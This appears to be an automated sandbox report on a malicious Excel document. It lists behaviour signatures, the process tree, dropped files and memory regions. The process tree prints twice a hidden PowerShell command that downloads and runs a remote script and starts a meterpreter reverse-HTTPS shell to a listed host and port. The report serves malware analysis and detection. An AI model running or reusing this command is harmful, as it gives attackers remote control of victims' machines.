Analysis

  • max time kernel
    46s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-07-2024 21:37

General

  • Target

    ac0600573668d313abdbaf51bcaa2425da8ec9dafbedf876eca44445b507e55c.xls

  • Size

    44KB

  • MD5

    3f943099acc31f5945e685b665679759

  • SHA1

    3a562cffa6a09468c360d8cebf3abc6652a0259c

  • SHA256

    ac0600573668d313abdbaf51bcaa2425da8ec9dafbedf876eca44445b507e55c

  • SHA512

    b4df9e421c105b59ef4ad000b468f2f658c16eb27ab6677428f0c9a452d3c97e29038b8fc44abef9820585c29d3f902b66fbf46500e68cce4abb9e3ab03cd716

  • SSDEEP

    768:7ltvoxHl8kkhzOjugt643rUdc1um4GKt+cL23dA7q48uGCWeuF6mQQccvJ9ac29I:7Ml8kkhzOjugt643rGc1um4GKt+cL23F

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ac0600573668d313abdbaf51bcaa2425da8ec9dafbedf876eca44445b507e55c.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\SYSTEM32\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2392
      • C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3796
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:220

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    a26df49623eff12a70a93f649776dab7

    SHA1

    efb53bd0df3ac34bd119adf8788127ad57e53803

    SHA256

    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

    SHA512

    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bcrqghlg.idr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    2KB

    MD5

    396acb7a7bf1d298e859ac60208abb71

    SHA1

    4f50debb1fae266d7be68d4b29aeca86697c756c

    SHA256

    ecc80fa4626c065e2eaf4eb31c9a68dfba93440b5082cc76020bdad9739426d2

    SHA512

    71f49527978eff68e312e7ec3a90d4650f3c79e6d6f4598513d4f72c76708c19f28197427cb2afe4b92326de186aaaf41bbb423c467bb763912116c39e47115d

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/220-49-0x0000017CE7DB0000-0x0000017CE7DF4000-memory.dmp

    Filesize

    272KB

  • memory/220-45-0x0000017CE7890000-0x0000017CE78B2000-memory.dmp

    Filesize

    136KB

  • memory/4888-9-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-15-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-8-0x00007FFFB4510000-0x00007FFFB4520000-memory.dmp

    Filesize

    64KB

  • memory/4888-0-0x00007FFFB6950000-0x00007FFFB6960000-memory.dmp

    Filesize

    64KB

  • memory/4888-12-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-11-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-13-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-10-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-14-0x00007FFFB4510000-0x00007FFFB4520000-memory.dmp

    Filesize

    64KB

  • memory/4888-17-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-16-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-19-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-21-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-20-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-18-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-3-0x00007FFFB6950000-0x00007FFFB6960000-memory.dmp

    Filesize

    64KB

  • memory/4888-29-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-30-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-37-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-6-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-7-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-5-0x00007FFFF696D000-0x00007FFFF696E000-memory.dmp

    Filesize

    4KB

  • memory/4888-4-0x00007FFFB6950000-0x00007FFFB6960000-memory.dmp

    Filesize

    64KB

  • memory/4888-1-0x00007FFFB6950000-0x00007FFFB6960000-memory.dmp

    Filesize

    64KB

  • memory/4888-64-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-2-0x00007FFFB6950000-0x00007FFFB6960000-memory.dmp

    Filesize

    64KB

  • memory/4888-68-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-69-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-70-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4888-71-0x00007FFFF68D0000-0x00007FFFF6AC5000-memory.dmp

    Filesize

    2.0MB